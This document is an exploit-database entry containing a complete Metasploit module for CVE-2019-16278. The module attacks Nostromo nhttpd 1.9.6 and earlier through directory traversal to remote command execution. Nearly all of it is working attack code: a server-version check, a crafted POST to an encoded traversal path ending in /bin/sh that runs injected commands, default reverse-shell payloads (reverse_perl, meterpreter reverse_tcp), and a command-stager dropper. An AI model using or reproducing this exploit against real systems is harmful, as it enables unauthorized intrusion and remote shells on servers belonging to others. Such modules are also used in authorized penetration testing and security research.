Nostromo - Directory Traversal Remote Command Execution (Metasploit)

2019-11-01
ID: 102148
CVE: None
Download vulnerable application: None
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nostromo Directory Traversal Remote Command Execution',
      'Description'    => %q{
          This module exploits a remote command execution vulnerability in
        Nostromo <= 1.9.6. This issue is caused by a directory traversal
        in the function `http_verify` in nostromo nhttpd allowing an attacker
        to achieve remote code execution via a crafted HTTP request.
      },
      'Author'         =>
        [
          'Quentin Kaiser <kaiserquentin[at]gmail.com>', # metasploit module
          'sp0re', # original public exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2019-16278'],
          [ 'URL', 'https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html'],
        ],
      'Platform'      => ['linux', 'unix'], # OpenBSD, FreeBSD, NetBSD, and Linux
      'Arch'  => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
      'Targets'        =>
        [
          ['Automatic (Unix In-Memory)',
            {
                'Platform' => 'unix',
                'Arch'  => ARCH_CMD,
                'Type'  => :unix_memory,
                'DefaultOptions'  => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
            }
          ],
          ['Automatic (Linux Dropper)',
            {
                'Platform' => 'linux',
                'Arch'  => [ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
                'Type'  => :linux_dropper,
                'DefaultOptions'  => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
            }
          ]
        ],
      'DisclosureDate' => 'Oct 20 2019',
      'DefaultTarget' => 0,
      'Notes'         => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def check
    res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(target_uri.path),
      }
    )

    unless res
      vprint_error("Connection failed")
      return CheckCode::Unknown
    end

    if res.code == 200 and res.headers['Server'] =~ /nostromo [\d.]{5}/
      /nostromo (?<version>[\d.]{5})/ =~ res.headers['Server']
      if Gem::Version.new(version) <= Gem::Version.new('1.9.6')
        return CheckCode::Appears
      end
    end

    return CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
      'headers' => {'Content-Length:' => '1'},
      'data'    => "echo\necho\n#{cmd} 2>&1"
      }
    )
  end

  def exploit
    # These CheckCodes are allowed to pass automatically
    checkcodes = [
      CheckCode::Appears,
      CheckCode::Vulnerable
    ]

    unless checkcodes.include?(check) || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    print_status("Configuring #{target.name} target")

    case target['Type']
    when :unix_memory
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      res = execute_command(payload.encoded)

      if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
        print_warning('Dumping command output in full response body')

        if res.body.empty?
          print_error('Empty response body, no command output')
          return
        end

        print_line(res.body)
      end
    when :linux_dropper
      print_status("Sending #{datastore['PAYLOAD']} command stager")
      execute_cmdstager
    end
  end
end
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